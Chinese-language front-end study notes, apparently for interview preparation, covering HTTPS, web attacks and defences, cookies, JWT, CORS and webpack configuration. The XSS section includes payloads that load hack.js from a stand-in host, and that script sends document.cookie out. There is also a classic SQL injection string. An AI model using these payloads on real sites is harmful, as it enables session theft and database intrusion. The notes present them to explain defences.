    • 所以就需要数字签名,CA机构自己有一对公钥和私钥,在颁发证书的时候,对证书信息进行hash,然后通过私钥将hash值进行加密,然后得到数字签名,放到证书上传递给客户端,客户端拿到后,通过证书里面的hash算法对证书内容进行hash 得到一个hash值,然后利用CA机构的公钥进行解密证书中的数字签名拿到hash值,然后两个hash值对比,如果不相等则代表证书被修改了。(CA机构的公钥一般会内置在客户端中)

      这里有个难理解的地方,客户端存储的是CA机构的公钥

      中间人如果篡改数字签名,因为他不知道CA的私钥,所以如果自己修改后,CA的公钥是解析不出来的

      CA公钥是内置在浏览器里面的,中间人无法获取。

      • 单向认证 验证服务端身份,就是服务端发送证书,客户端验证证书
        • 具体可看下面 https具体加密流程
      • 双向认证 除了客户端验证服务端后,还有服务端验证客户端身份, 一般是利用用户手机码验证码密码之类的凭证来验证,只有安全性极高的才需要双向认证
        1. 客户端发起https请求,并且向服务端发送SSL协议版本信息,加密算法类型等
        2. 服务端给客户端返回证书,SSL协议版本,加密算法种类等
        3. 客户端验证服务端证书是否合法,合法就通过,不合法就警告
        4. 客户端发送自己的证书和公钥发送到服务端
        5. 服务端对客户端证书进行校验,然后拿到客户端的公钥
        6. 服务端将选择好的加密方式种类等利用客户端公钥进行加密,然后发送给客户端
        7. 客户端拿到后利用自己的私钥进行解密,拿到加密方式,生成随机key, 然后利用服务端公钥加密后发给服务端,后面和服务端通信就利用随机key进行加密和解密

https具体加解密流程

https具体加解密流程

  1. 用户在浏览器中发起https请求,默认使用443端口连接,发送客户端SSL版本信息,加密类型
  2. 要使用https.需要服务端先去CA机构申请一套数字证书,服务器配置好证书。
  3. 服务器接收到请求后,会把证书给客户端,证书中包含一个公钥(pub),其对应的私钥(pri)保存在服务器中
  4. 客户端收到证书后,通过证书验证服务器身份,验证证书,看其是否有效,证书域名和请求域名是不是一致等,如果没有通过则会显示https警告信息
  5. 服务端将客户端传给服务端的加密方式进行选择后,以明文方式发给客户端
  6. 证书验证通过后,客户端利用加密方式生成一个随机的key值,通过服务器证书中的公钥进行加密,然后发送给服务器
  7. 服务器收到加密后的随机key,利用自己的私钥解密得到随机key.然后使用随机key来对要传输的数据进行加密,返回给客户端
  8. 客户端拿到密文后,利用随机key进行解密,拿到数据,后面和服务端通信就利用随机key进行加密和解密

Https 链接过程

以前是http--->tcp, 三次握手建立TCP连接

现在是 https----->tcp------》SSL。在通信的时候先和ssl 通信,然后再建立tcp连接

  • SSL 握手流程

https 缺点

  • 相对来说,处理速度会变慢,因为https使用了SSL/TLS,
    • 一种是处理速度慢,因为https需要做加密解密处理,消耗cpu和内存和更多的资源。所以还会可能导致每台服务器处理请求的数量变少。
    • 一种是通信慢。ssl通信部分需要对通信做一些处理
  • 要进行https通信,需要购买证书,要花钱

http和https区别

  • http是无状态的,https 中的s s l是有状态的???

  • http是明文传输,https是加密传输

  • http不需要认证证书,https 为了安全需要认证证书

  • http进行三次握手,https需要TLS 1.2版本7次,1.3六次

  • http端口是80,https端口是443

XSS / CSRF

XSS(Cross-site script) 跨站脚本攻击

产生的漏洞使得别人的脚本可以在自己网站运行,比如运行html标签或者javascript

产生的问题

  1. 可能会导致利用脚本来窃取用户cookie的值,然后发送恶意请求
  2. 显示伪造的文章或者页面等,执行恶意的JavaScript代码
  • 反射型

    依赖于用户点击了这个恶意链接,比如在url 参数中直接注入脚本

    例如用户登陆访问了A网站后, 假设A网站存在漏洞,然后攻击者给用户发了一个恶意链接,当用户点击了这个恶意链接后, 则被攻击。泄露自己的cookie

    // 例如: A网站有一个接口是在url上带参数然后去获取数据
    A网站地址: http://localhost:3000/?name="张三"
    攻击者将恶意链接伪装成这样
    http://localhost:3000/?name=<script src="http://localhost:8000/hack.js" ></script>
    // 这里的网址看起来可能比较奇怪,一般为了诱导用户点击,会进行一次短域名转换,即利用短域名服务,将其转为看起来比较正常的网址
    
    // hack.js
    const img = new Image()
    img.src = "htttp://localhost:8000/img?c=" + doucment.cookie
    
    
  • 存储型

    攻击者将恶意代码提交到服务器,当用户浏览这个网页的时候,就会执行次恶意代码,一般常见论坛发帖,评论等

​ 例如,网站有一个评论功能,当攻击者在评论的时候,注入恶意内容后,提交评论后存储,则后面每一个用户登陆的时候,都会执行被注入的脚本,然后被攻击

// A网站有一个评论功能,用户登陆后可以进行评论,也可以看到别人的评论

当攻击者评论的时候,将评论写成如下方式,
来了,老弟~<script src="http://localhost:8000/hack.js"></script>
// 这样该评论会被存在服务器,下次只要有用户登陆,就会执行hack.js,则hack.js里面就会做一些攻击操作

防御手段

  1. 对cookie设置httpOnly字段,禁止访问cookie.

    response.addHeader("Set-Cookie", "uid=123456; path=/; HttpOnly")
    
    1. 不要信任用户输入的任何东西,比如对用户输入的引号。尖括号,斜杠等进行转译。或者利用ejs来对字符串进行转译。但是有的时候,在富文本编辑的时候,常常不需要转译,则可以利用白名单的方式(CSP),或者利用xss库来做防御
    const xss = require('xss')
    
    1. CSP(内容安全策略)

    是一个附加的安全层,可以帮组检测某些类型的攻击,如跨站脚本和数据注入等,本质上就是建立白名单,告诉浏览器哪些外部资源可以进行执行和加载

    // 只允许加载本站资源
    Content-Security-Policy: defalut-src 'self'
    // 只允许加载https 协议图片
    Content-Security-Policy: img-src https://*
    // 不允许加载任何来源框架
    Content-Security-Policy: child-src 'none'
    

CSRF(Cross Site Request Forgery) 跨站请求伪造

利用用户已经登陆的身份,借助cookie绕过后台用户验证,以用户的名义完成非法操作

产生的问题

  1. 利用用户登陆态在用户不知情下完成业务请求
  2. 盗取用户资金 转账消费等

一般流程:

例如,用户登陆了A网站,然后该网站保留了登陆凭证cookie, 如果A网站没有做csrf 防御,当用户的cookie 还在生效的时候,攻击者诱导用户访问B网站, 然后B网站就会向A网站发送一个正常请求(比如转账等危险请求),这时候。浏览器就会默认携带上A网站下的cookie, 然后服务器误以为这是用户自己发的请求,完蛋,中招!

CSRF 两个特点。一个是 攻击者并不能获取cookie信息,只是利用cookie 发送危险请求,还有一个特别就是,这个请求一般都发生在第三方,不是同一个域名

防御手段

  • 通过验证码,对高危操作进行验证

  • 通过 Request Headers 中的 origin / referer 来进行判断是不是网站自己的请求

    origin: 记录了请求来自哪一个站点,只有服务器名,没有路径信息

    referer: 不仅包含服务器名,还有详细路径信息

  • 通过添加一个攻击者无法获取的token,在请求的时候直接携带,然后服务器进行token验证,这样就攻击者就无法进行伪造发送请求

  • 添加cookie 的 SameSite 字段

    分为三种值,默认为none, 目前大多数浏览器在将默认值none 改为Lax模式

    None: 浏览器会在同站请求和跨站请求下都发送cookie

    Lax: 与strict 大致一样,但是,他允许从其他站点链接到(link)ulr的时候也可发送cookie

    Strict: 只可以在相同站点的时候才可以发送cookie

点击劫持

点击劫持是一种视觉欺骗攻击手段,攻击者将需要攻击的网站通过iframe 嵌入到自己的网页中,然后将iframe设置为透明,在页面中透出一个按钮诱导用户点击

防御手段

  • 利用X-FRAME-OPTIONS 来进行设置, 是一个HTTP响应头, 防止使用iframe 嵌套点击劫持攻击

    DENY: 页面不允许通过iframe 方式展示

    SAMEORIGIN: 页面可以在相同域名下通过iframe 方式展示

    ALLOW-FROM : 页面可以在指定来源的iframe 中展示

  • 利用js

    if (self === top) { // self 是当前窗口相当于window, top 返回顶层窗口,即浏览器窗口
      // xxxx
    } else {
    	top.location = self.location
    }
    

请求劫持

  • DNS 劫持(DNS 服务器解析的步骤被篡改,修改了域名解析结构,使得获取的ip地址并不是真实的ip地址)
  • HTTP 劫持

防御手段

升级HTTPS 可以很好的防止HTTP和DNS 劫持,因为https 安全是由SSL来保证的,需要对的证书,链接才会成立,如果DNS 解析的域名没有对应ip,是没有办法通过证书认证的。连接就会被终止。

DDOS

DDOS其实是一大类攻击的总称,目的就是为了让网站跑不起来,使得服务瘫痪

常见攻击手段:

​ 通过向目标服务建立大量TCP链接,使得服务拒绝

防御手段

  • 设置白名单
  • 带宽进行扩容 添加 CDN 服务

SQL注入

其实就是在请求数据库的时候,将用户输入的直接放到了数据库查询语句中,导致查询语句实际上已经被转换

// 将密码设置为 '1' or '1' = '1'
Select * from test.user where usename = 'lala' and password = '1' or '1' = '1'

防御手段

​ 将数据库的查询语句使用数据库提供的参数化查询接口,而不是将用户输入的变量直接嵌入到s q l 语句中

cookie 和 storage

cookie

用于在客户端存储的会话信息,服务器指定cookie后,浏览器的每次请求都会携带cookie数据,当然也会带来额外性能开销,而 Cookie 的存在也不是为了解决通讯协议无状态的问题,只是为了解决客户端与服务端会话状态的问题,这个状态是指后端服务的状态而非通讯协议的状态。

  • Set-Cookie

    服务器在响应头headers 中使用Set-cookie , 将cookie设置到客户端,然后客户端会将cookie 保存起来,之前在每一次请求服务器的时候,都会将保存的cookie信息通过requestheaders 中的cookie 发给服务器

  • Max-age

  • expires

    当cookie设置了过期时间后,设定的日期和时间取决于客户端,与服务器无关

    当cookie 没有设置过期时间的时候,浏览器关闭后会被自动删除,如果设置了expires和max-age 的时候,会优先以max-age值为准

  • Domain

    设置哪些地址可以接收cookie, 默认为origin(同源)

    // 如果设置 Domain=mozilla.org 
    // 则 Cookie 也包含在子域名中(如developer.mozilla.org)。
    
  • Path

    标识了主机下哪些路径可以接受cookie,该路径必须存在于请求URL中,比如设置Path=/users, 则/users/men ,/users/men/xxx等都可以匹配

  • Secure

    标记为secure 为true 的cookie 只应通过被https协议加密过的请求发送给服务端

  • HttpOnly

    设置httpOnly的cookie,js 的doument.cookie 无法访问

  • SameSite (某个cookie在跨站请求的时候不会被发送)

    • 默认为none, 浏览器会在同站请求和跨站请求下都发送cookie。目前大多数浏览器在将默认值none 改为Lax模式

    • Strict: 只可以在相同站点的时候才可以发送cookie

    • Lax: 与strict 大致一样,但是,他允许从其他站点链接到(link)ulr的时候也可发送cookie

storage

定义了两个对象 sessionStorage / localStorage

Object.prototype.toString.call(sessionStorage)
"[object Storage]"

sessionStorage 和localStorage 上任何的变化(使用属性或者setItem设置值,delete 或者removeItem()删除值,或者使用clear())都会触发storage 事件,但是storage事件是不会区分这两者的区别

window.addEventListener("storage", (event) => {
		const { 
		 domain, // 存储变化对应的域
		 key,    // 被设置或者删除的键
		 newValue, // 键被设置的新值,若键被删除则为null
		 oldValue  // 键变化之前的值
    } = event;
})

数据的大小限制是按照每个源(同协议, 同域和同端口),一般每个源为5MB

  • sessionStorage

    • 不受页面刷新影响,浏览器奔溃并重启后也可以恢复
    • 只存储到浏览器关闭·
    // setItem()  getItem() delete. removeItem() clear()
    // 可以使用for in 来迭代sessionStorage
    for (let key in sessionStorage) {
    	const value = sessionStorage.getItem(key);
    }
    // sessionStorage.length 可以获取个数
    // key(index) // 获取给定位置的值
    
  • localStorage

    • 数据不受刷新页面影响,也不会因关闭窗口,标签页或重启浏览器丢失
    • 只有清除浏览器缓存或者通过javaScript 删除
    // 存储数据 (使用setItem 或者属性)
    localStorage.setItem("name", 'lalala')
    localStorage.name = 'lalala'
    // 获取数据
    localStorage.getItem("name")
    localStorage.name
    // 删除值
    delete localStorage.name
    localStorage.removeItem('name')
    // clear() 清除所有值
    // localStorage.length 可以获取个数
    // localStorage.key(0) // name
    

session

session 流程

  • 账号密码发送给服务端,服务端将用户登陆状态存一个session, 生成sessionId,
  • 服务端通过set-cookie 将sessionID 返回客户端
  • 客户端请求接口将session ID 带上给服务端校验
  • 服务端通过sessionId 查询session, 成功后返回响应结果

服务端只返回一个sessionId ,而session 具体内容 (用户信息,session 状态等)需要服务器进行存储,一般服务端存在redis 中

token

​ 因为session 必须服务端进行存储,所以,就出现了token, 把信息不存储起来, 而是直接通过加密信息(用户信息,token 过期时间等)生成token ,然后传给客户端

流程:

  • 用户登陆账号密码,获取用户信息
  • 通过加密把用户信息转为token,然后通过set-cookie 给客户端
  • 客户端每次请求都携带token,
  • 服务端验证token有效性,然后进行响应

所以本质上,session 和. token. 都是基于cookie , 区别就是session信息是服务端存,请求只携带一个sessionId, token 是把信息加密每次携带,不需要服务端存储了

JWT(jsonWebToken)

Token 可能有被篡改的问题,所以,j w t 是一个开放标准,定义了一种传递json信息的方式,里面会包含数据签名等,保证了token 可信。

​ 用户提交账号密码后,服务端进行验证,通过后,服务端用自己的密钥把用户信息加密成token然后返回给前端,前端拿到token 后,进行保存起来,然后每次向服务端发送请求的时候都将放到request header 里,服务端用密钥解析,解析成功就是自己的用户

JWT 生成的token 有三部分组成

  • header (会通过base64url算法进行编码)
    • alg: 里面有采用的加密算法
    • Typ: JWT 固定值
  • payload (也会通过base64url 算法进 行编码)
    • 携带的数据,比如用户id和name
    • token 签发的时间和过期时间
  • signature. 签名
    • 利用 HMACSHA256 算法,将header 和payload 进行 base64url编码然后合并
    • 将编码合并后的header 和payload, 通过私钥加密 用来保证token不会被篡改

跨域

  • 同源是指: 同域名,同协议,同端口

为什么有跨域

默认情况下,xhr 只能访问与发起请求的页面在同一个域内的资源,这样就可以防止某些恶意行为,保证用户安全比如说csrf。

同源策略是浏览器中实现的,请求跨域,实际上请求已经发出,但是浏览器拦截了响应

解决跨域的方式

Cors, JSONP, Img, 等

CORS (Cross-Origin Resource Sharing)

CORS 定义了浏览器与服务器如何实现跨源通信,CORS请求分为了两种,简单请求和预检请求.当浏览器再尝试访问不同源的时候,这个行为就会自动触发,当然还需要修改服务器,只有服务器实现了CORS接口(必须配置了Access-Control-Allow-OriginAccess-Control-Allow-Methods)才可以跨源通信

  • 简单请求

    简单请求,一般是GET,POST,请求,没有自定义头部,Content-Type 是text/plain 或者application/x-www-form-urlencode 或 multipart/form-data
      
    在发送请求的时候,会有一个额外的头部Origin, 里面包含了发送请求的页面的协议域名和端口,用来服务器进行判断是否与其做响应。如果服务器会响应,则响应头中会包含`Access-Control-Allow-Origin`头部,值为相同的源,如果是公开资源,则值为`*`,如果没有这个头部,或者值不匹配,则浏览器就会拦截此响应,控制台抛出错误
    
  • 非简单请求(再发送前多发一个预检请求)

    允许使用自定义头部,以及除了GET 和POST 之外的方法,还有和简单请求不同的Content-Type,都会先向服务器发送一个预检请求,该请求采用OPTIONS方法

    options 请求会含有Origin 头部,以及 Access-Control-Request-Methods 头部,值为将要请求的方法,比如这个跨域请求是post请求,则他的值为post, 如果这个请求有自定义头部,则也会包含Access-Control-Request-Headers。 请求发送后,服务器会在响应中发送下面的 头部来告诉浏览器

    • Access-Control-Allow-Origin 允许的源
    • Access-Control-Allow-Methods 允许的方法
    • Access-Control-Allow-Headers 允许的头部
    • Access-Control-Max-Age 允许预检请求缓存的时间(这样在缓存时间内,后面的跨域请求就不会再发预检请求,就会和简单请求一样)
  • 凭据请求

    凭据包含(cookie, HTTP 认证和客户端SSL证书)

    在跨域请求中,默认情况下无论请求还是响应都不会包含凭据信息,如果需要服务端携带凭据,则需要在响应头中配置Access-control-Allow-Credentials:true.如果请求需要发送凭据,则需要在请求时候,给xhr 配置 withCredentials:true.配置后如果响应头中没有返回Access-control-Allow-Credentials:true,则浏览器还是会拦截响应

图片探测

利用img标签来实现跨域通信,而且不需要服务端进行配置,通过动态创建图片,然后监听他的`onload``onerror` 来判断什么时候接收到了响应,但是他的缺点是只能发送`get`请求,而且虽然可以监听到什么时候接收到了响应,但是不能拿到响应的内容
let img = new Image();
img.src = 'http://www.test.com/test?name='lalala';
img.onload = img.onerror = () => {
  alert('收到响应')
}

JSONP

通过动态创建Script标签,然后为其元素的src 属性指定要跨域的URL,然后和服务端商量,由服务端返回一个预先设定好的回调函数js函数调用,将服务器的数据通过这个函数的参数来传递(传递的是json数据)。

 // 定义获取数据的回调方法
function getResponseData(data) {
  console.log(data);
}
 // 创建一个script标签,并且告诉后端回调函数名叫 getResponseData
let script = document.createElement("script")
script.src = 'http:www.test/demo?callback=getResponseData';
document.body.insertBefore(script, document.body.firstChild)

 // script 加载完毕之后从页面中删除
script.onload = function () {
  document.body.removeChild(script);
}

缺点: 不好确定请求是否失败,只能用于get请求

服务器代理

通过配置虚拟服务器代理,进行转发,服务器不存在跨域问题。

事件委托绑定

如果有大量子元素需要绑定事件,则可以将事件绑定在他们的父元素上,利用事件冒泡,则子元素的事件会冒泡到父元素上,这样就可以直接监听父元素

事件对象e 的target 属性始终是事件刚刚发生的元素的引用(事件触发的对象)

e.currentTarget 指向添加监听事件的对象

// e.stopPropagation. 组织事件冒泡

// e.preventDefault 组织默认事件

数组

前缀和数组

前缀和用于快速频繁的计算一个索引区间内的元素之和

303

// 前缀和
// 前缀和主要适用的场景是原始数组不会被修改的情况下,频繁查询某个区间的累加和
// 查看leetcode 303题
let arr = [3, 5, 2, -2, 4, 1];
// [0, 2]; -2, 0, 3,         1
// [1, 4]  0, 3, 5, 6       14

// 暴力实现
function rangeSum(arr, left, right) {
  let sum = arr.reduce((t, v, i, arr) => {
    if (i >= left && i <= right) {
      return t + v;
    } else {
      return t;
    }
  }, 0);
  return sum;
}

console.log(rangeSum(arr, 0, 2));
console.log(rangeSum(arr, 1, 4));
console.log(rangeSum(arr, 0, 0));

// 利用前缀和实现

function rangeSum1(arr, left, right) {
  const sumsList = [];
  let addSum = 0;
  arr.forEach((item, index, arr) => {
    addSum = addSum + item;
    sumsList[index] = addSum;
  });
  let leftSum = left - 1 < 0 ? 0 : sumsList[left - 1];
  return sumsList[right] - leftSum;
}
console.log(rangeSum1(arr, 0, 2), "-->");
console.log(rangeSum1(arr, 1, 4), "-->");
console.log(rangeSum1(arr, 0, 0), "-->");

差分数组

双指针

滑动窗口

二分查找

1. 目标方向

技术上

1. 找到一些事情,解决方案,如果解决

1. 要完成的事情,数字化,数字化

业务上

  1. 当前项目上存在的一些问题

工作中碰到的最难的技术难点是什么,如何解决的。// TODO:

webpack。// TODO:

三种hash区别(hash chunkhash contenthash)

  • hash 每次webpack构建的时候都会生成一个唯一的hash值,任何文件修改都会重新生成
  • chunkhash. 根据chunk生成hash值,来源于同一个chunk, 则hash值就一样
  • contenthash 根据文件内通生成hash,文件内容相同hash 就想同

指纹占位符

  • ext: 资源后缀名
  • name:文件名称
  • path: 文件的相对路径
  • folder 文件所在的文件夹
  • hash / chunkhash / contenthash. Hash 值

loader 和plugin 区别

loader 是加载器,本质上是一个函数,webpack中所有的文件都是当作模块的,但是他只能解析js文件和json文件,如果要打包其他文件,就需要用到loader

loader:

​ 执行顺序,先执行postloader 的pitch, 然后执行lnline loader 的pitch, 然后执行normal loader,的pitch 然后执行pre loader 的pitch, 然后再执行 pre-loader, noramal loader, inline loader, post loader

  • post loader
  • Inline loader
  • normal loader
  • pre loader

Plugin 是插件,他可以扩展webpack的能力,在webpack运行的生命周期中会触发很多事件,在plugin中注册这些事件做一些事情,则webpack打包到某一个生命周期时候就会执行这些事件,然后改变webpack输出的结果

preload 和 prefetch

preload 预加载

  • 告诉浏览器这个资源肯定会用到,优先级高,需要进行提前获取。

  • 但是他可能有性能隐患问题,因为他会阻塞然后去获取这个资源

  • 会把资源下载顺序权重提高,使得关键数据提前下载好,优化页面打开速度

prefetch 预获取

  • 这个资源以后可能会用到,是在浏览器空闲的时候去加载他,不会出现性能问题

** 资源优先级加载等级**

  • highest 最高
  • high 高
  • Medium 中等
  • Low 低。 (异步/延迟/插入的脚本无论在什么位置优先级都是low)
  • Lowest 最低

如何使用

// 方式一
<link rel='preload' as="script" href = 'utils.js'>
 
// 方式二
import(/* webpackChunkName: 'video', webpackPrefetch: true  */'./video').then(res => console.log(res)) // 使用预获取

webpack中常用配置

  1. model 配置模式

  2. entry 配置入口文件

  3. resolve

    • extensions 配置模块解析规则
    • alias 配置别名
  4. resolveLoader

    • modules: [] 用来配置loader的查找路径,比如配置自定义loader,就不用每次写loader的时候再写loader的路径
  5. devtool 配置source map 文件

    source-map 分类

    • source map的配置 是 eval, source-map, cheap, module, inline 的任意组合

      • eval 使用eval 包裹代码

      • source-map. 产生map文件

      • cheap 不包含列信息,也不包含loader的sourcemap

      • module 包含loader的source map

      • Inline 将map 作为dataURL嵌入,不单独生成map文件

  6. output. 打包输出路径

    • path. 打包资源输出到哪个目录
    • filename 文件名
    • assetModuleFilename 打包统一的目录下的名称
    • publicPath
  7. devserver

    • contentBase 配置额外的静态文件目录

    • proxy

    • port 端口

    • hot 开启热更新

    • publicPath

  8. Module 配置loader

    • 解析 test: /.(png|svg|gif|jpe?g)$/,, 配置asset
    • file-loader (把文件输出到文件夹中,在代码中通过url去引用输出文件)
    • url-loader (和file-loader 类似,但是可以在文件很小的时候用base64方式将文件注入代码中)
    • babel-loader (把es6+或react转换为es5)
    • Less-loader / sass-loader (将le s s 或者s c s s 编译成c s s)
    • postcss-loader (处理css, 给css添加一些浏览器兼容写法等)
    • css-loader. (加载c s s,支持模块化,压缩,文件导入等)
    • style-loader (将c s s 代码注入到js中,通过dom操作去加载css)
  9. Plugin 配置插件

    • HtmlWebpackPlugin。自动生成带有入口文件引用的html

    • CleanWebpackPlugin 清空打包后的dist目录

    • DefinePlugin 配置全局变量

    • terser-webpack-plugin. 使用terser 来压缩js代码

    • optimize-css-assets-webpack-plugin 压缩css

    • copy-webpack-plugin 拷贝文件夹

    • Speed-measure-webpack-plugin 打包速度分析插件

      const SpeedMeasurWebpackPlugin = require('speed-measure-webpack-plugin')
      const smw = new SpeedMeasurWebpackPlugin();
      module.exports = smw.wrap({
      	// webpack 配置文件对象
      	mode: 'development'
      })
      
    • Webpack-budle-analyzer 打包体积分析插件

    • ModuleScopePlugin 引用了src目录之外的文件报警的插件

  10. optimization

    • splitChunks

项目分为阿里云环境和valid环境,因为valid 环境不能访问外网,所以一些在cdn上的静态资源图片等不能访问,但是代码又需要为一套代码,所以添加了一个validbuild命令,在阿里云环境下不进行打包这些本地的静态资源,减少包的体积,在valid 环境下,打包静态资源,并且在代码中利用webpack definPlugin来创建全局的变量,用来区分在哪个环境下需要打包本地文件,哪个环境下不需要打包本地资源。

weback主要过程有哪些

  • 初始化参数,从配置文件和shell 语句中读取合并参数,(shell语句优先级更高),然后得出最终参数
  • 开始编译,拿到参数后,调用build 方法,然后内部调用weback,传入配置对象后初始化 compiler对象,加载所有配置的插件,调用compiler对象的run方法进行执行编译;确定入口,根据配置中的entry找到所有的入口文件
  • 编译模块: 从入口文件出发,调用所有配置的loader对模块进行编译,然后找到这个模块依赖的模块,进行递归处理,直到所有的模块都处理好,然后得到一幅依赖图,也就是他们之前的依赖关系
  • 输出资源 根据依赖图,组装成一个个包含多个模块的chunk, 然后把每一个chunk 转换成一个单独的文件根据依赖关系加到输出列表中。最后根据输出的路径和文件名通过fs把文件列表输出

Webpack 会在特定的时间广播出特定的事件,也就是提供一些钩子啊,当插件监听到这些钩子的时候,就会执行其插件中注册的对应的逻辑,然后改变webpack的运行结果

Webpack性能优化方法

  • 代码压缩,压缩js,压缩css, 压缩图片, 清除无用css

    optimization: {
    	minimize: true,
    	minimizer: [
    		new TerserPlugin({}),
    		new OptimizeCssAssetsPlugin({}),
    		new OptimizeCSSAssetsPlugin({
            assetNameRegExp: /\.css$/,
            safe: true,
            cache: true,
            parallel: true,
            discardComments: {
                removeAll: true,
            },
           }),
    	]
    }
    
  • Scope Hoisting 生产环境默认开启

    • 他可以让webpack打包出来的代码文件更小,他的原理是将所有的模块按照引用顺序放在一个函数作用域中,然后会重命名一些变量防止命名冲突,其实就是将多个文件放到一个文件里
  • ThreeShaking 生产环境默认开启

    • 实际上three-shaking原理依赖于bable-import-plugin, 实际上是将导入通过ast 转换为默认导出
    • packa ge.josn 中可以配置sideEffects 一个数组,来忽略有副作用的文件
  • 提取公共代码 进行代码分割

    splitChunks 主要作用是提取公共代码,防止代码被重复打包,拆分过大的js文件,合并零散的js文件)

    将代码分割成chunks块,当代码运行到他们的时候再去加载

    ​ why:

    • 相同的资源被重复加载

    • 每个页面需要加载的资源太大,导致首屏加载缓慢

    • 如果将公共代码抽成单独文件进行优化,则可以减少网络传输流量

      What:

    • 比如说提取基础类库

    • 提取页面之前公共的代码

    • 各个页面单独生成文件

    Module chunk bundle 区别

    • module: 因为js模块化支持common.js。es6等模块化规范,所以利用 import 引入的代码都是module
    • chunk: chunk 是webpack 根据功能拆分出来的,包含三种情况,这三种情况也就是代码分割的规则
      • 项目入口(entry)
      • 通过import() 动态引入的代码
      • 通过splitChunks拆分出来的代码(代码分割splitChunkPlugin)
    • bundle: bundle 是webpack 打包后的各个文件,一般和chunk是一对一的关系,budle就是对chunk进行编译压缩打包等处理之后的产出

    how: optimization

通过配置optimization 中的splitChunks 来进行代码分割

配置详情规则项

module.exports = {
	
	optimization: {
		splitChunks: {
			chunks: 'all', // 默认作用于异步chunk, 值为all / initial / async
			minSize: 0, // 分割出去的代码最小体积,0代表不限制
      maxSize: 0, // 分割出去的代码最大体积,0代表不限制
      minRemainingSize: 0, // 分割后剩下的体积,0代表不限制
      minChunks: 1, // 如果此模块被多个入口引用几次会被分割,被多少模块共享,在分割前模块被引用的次数
      maxAsyncRequest: 2, // 限制异步模块内部的并行最大请求数,就是咩哥import()它里面的最大并行请求数量‘
      maxInitialRequests 4, // 限制入口的拆分数量
      automaticNameDelimiter: '~', // 默认webpack将会使用入口名和代码块的名称生成命名,名称的分割符,比如"vendors~main.js"
      cacheGroups: { // 	缓存组配置 配置如何将模块分组,相同分组会分到一个代码块中
      	defaultVendors: { // 第三方模块
      			test: //, 如果模块路径匹配此正则的话
      			priority: -10, // 很多缓存组, 如果一个模块同属于多个缓存组,应该分到哪个组里,看优先级高
      			reuseExistingChunk: true, // 是否可服用现有的代码块, 如果该chunk中引用了已经被抽取的chunk, 直接引用该chunk, 不会重复打包代码
    		},
    		default: {
      		minChunks: 2, // 此模块被机构入口引用过,最少2个才提取
          priority: -20,
          reuseExistingChunk: true, 
    		}
    	}
		}
	
	}

}


  • 利用preload 和 prefetch
  • 将静态资源放到CDN上

Webpack优化打包速度方法

  • 费时分析 利用speed-measure-webpack-plugin

  • 缩小范围 resolve

    • extensions: ['.js', '.jsx', '.json', '.css'] // 指定后就不需要进行添加扩展名了
    • alias 配置别名,可以加快webpack查询模块速度
    • modules 配置模块查找路径,默认就是 node_modules
    • mainFields. package.json文件按照mainFields中的字段来查找文件, 减少第三方模块搜索步骤
      • mainFields: ['browser','module','main'] // 如果target等于'web' 或等于 webworker
      • mianFields: ['module', 'main']. // target 值为其他的时候都默认值
    • mainFiles 当目录下吗没有package.json的时候,一般默认使用目录下的index.js,但是可以利用这个也可以配置
      • mainFiles: ['index'] // 默认使用的文件名
  • (缩小loader 查找范围)resolveLoader. 用来配置解析loader时的resolve配置

    module.exports = {
    	resolveLoader: {
    		modules: ['node_modules'];
    		extensions: ['.js', '.json']
    		mainFields: ['loader', 'main']
    	}
    }
    
  • module.noParse (用来配置哪些模块文件的内容不需要进行解析)

    不需要解析依赖的第三方大型类库,可以通过这个字段来配置,用来提高整体的构建速度

    module.exports = {
    	module: {
    		noParse: /lodash|jquery/, // 正则表达式
    		// 也可以使用函数
    		noParse(content) {
    			return /jquery|loadsh/.text(content)
    		}
    	}
    }
    // 使用noParse进行忽略的模块文件中不能使用import, require, define等导入机制
    
  • lgnorePlugin 用于忽略某些特定的模块,让webpack不把这些指定的模块打包进去

    new webpack.IfnorePlugin(/^\.\/locale/, /moment$/)
    // 第一个是匹配引入模块路径的正则表达式
    // 第二个是匹配模块的对应上下问,即所在目录名
    
  • 日志优化 // TODO:

    • 修改错误日志展示
    • 可以修改stats

    errors-only | none | 只在错误时输出

    minimal | none | 发生错误和新的编译时输出

    none | false | 没有输出

    noraml | true | 标准输出

    Verbose | nonew | 全部输出

    • Friendly-errors-webpack-plugin
      • friendly-errors-webpack-plugin
      • Success 构建成功的日志提示
      • warning 构建警告的 日志提示
      • error 构建报错的日志提示
  • 开启缓存 (生产环境会被禁用)

    • cache 将编译结果缓存在 node_modules/.cache/webpack目录下。

      module.exports = {
       // cache: true,
        cache: {
        	type: 'memory',  // 默认值, 相当于 cache: true
        	// type: 'filesystem' // 开启后可以可以配置更多
        	maxAge: 516342343, // 缓存失效的时间
        	profile: false // 默认为false  是否输出缓存处理过程的详细日志
        	buildDependencies: { // 额外的依赖文件,当这些文件内容发生变化时,缓存会完全失效而执行完整的编译构建,通常可设置为项目配置文件.
        		config: 
        	}
        }
      };
      
      // cacheDirectory 缓存文件存放的路径,默认为 node_modules/.cache/webpack, 只有ca che type 为filesystem才开启
      
    • hard-source-webpack-plugin

    • oneOf 每个文件对于rules中的所有规则都会遍历一遍,如果使用oneOf 就可以解决这个问题,只要能匹配一个即可退出(在oneOf中不能两个配置处理同一种类型文件)

      module: {
      	rules: [
      		{
      			oneOf: [
      			
      			]
      		}
      	]	
      }
      
  • 开启多进程处理

    • thread-loader
      • 把这个loader 放置在其他loader之前,放置在这个loader之后的loader 就会在一个单独的worker池中运行
    • parallel

工作中碰到的最难的技术难点是什么,如何解决的. Valid 环境打包

之前需要修改每一个引用文件,改为本地引用,文件放到了public 中,打包的时候占用了体积,

项目分为阿里云环境和valid环境,因为valid 环境不能访问外网,所以一些在cdn上的静态资源图片等不能访问,但是代码又需要为一套代码,所以添加了一个validbuild命令,在阿里云环境下不进行打包这些本地的静态资源,减少包的体积,在valid 环境下,打包静态资源,并且在代码中利用webpack definPlugin来创建全局的变量,用来区分在哪个环境下需要打包本地文件,哪个环境下不需要打包本地资源。

文件放到asseet中,只有

前言

如果你还不会webpack,就来一起学习一下吧,本文主要是依据webpack5 来进行学习

基础篇

mode

告诉webpack使用相应模式进行内置优化

  • development
    • 自动会设置 devtool: 'eval'
  • production (默认)

devtool

控制是否生成source map 以及如何生成source map

  • eval (默认)
  • false
  • source-map
  • eval-source-map base64的方式放在eval 后面
  • Inline-source-map 在最下面有一个sourceMappingUrl = base64
  • cheap-source-map。只有行信息,没有列信息
  • cheap-module-source-map(推荐) 对loader 处理的文件展示更加友好
  • hidden-source-map // 有map 文件生成,但是定位不到源代码,需要手动加载到环境下
